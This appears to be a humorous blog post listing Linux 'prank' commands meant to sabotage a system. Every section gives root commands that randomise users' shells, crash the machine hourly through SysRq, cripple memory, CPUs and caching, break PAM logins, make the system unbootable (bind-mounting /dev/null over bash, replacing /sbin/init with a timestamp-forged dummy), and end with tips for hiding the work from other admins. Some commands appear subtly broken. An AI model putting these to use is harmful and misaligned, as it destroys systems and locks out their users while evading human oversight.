We don’t play favourites.

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
do
    chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

Add some spice to your life

Spice up your life a bit with the following command:

echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime

No Reservations?

tune2fs -m50 $(mount | awk '/on / type/{print $1}')

Bad memory

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

sed -i -r '/vmlinuz/s/(.*)/1 memmap=256G$0x0000/' /boot/grub/grub.conf

Bound to nothing…

Add this little sucker to /etc/fstab and reboot:

/dev/null    /bin/bash    bind   bind   0 0

sysfunboost

bmr just pointed me towards this one.

It looks like a nice way to annoy your cow-orkers…

Speed? What speed?

This one got submitted by Ray:

echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr

It works best if you put it in rc.sysinit or any other place early in your boot sequence.

What login?

Try and have some fun with this one:

sed -i 's/unix/time/g' /etc/pam.d/system-auth

Who needs multiple cores anyway?

Do you remember the good old days when all you had was a single core? Time to re-live those glory days!

for I in /sys/devices/system/cpu/cpu[1-9]*
do
    echo 0 > ${I}/online
done

Unfortunately we can’t disable cpu0…

SImplify your init

This one was submitted by fl0_:

Create a file called init.c

#include <stdio.h>
 
int main(){
 
       printf("MOEHAHAHHAAAAn");
       return 0;
}

Next run the following commands:

gcc -o init init.c
touch -r /sbin/init init
cp -f init /sbin/init

You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$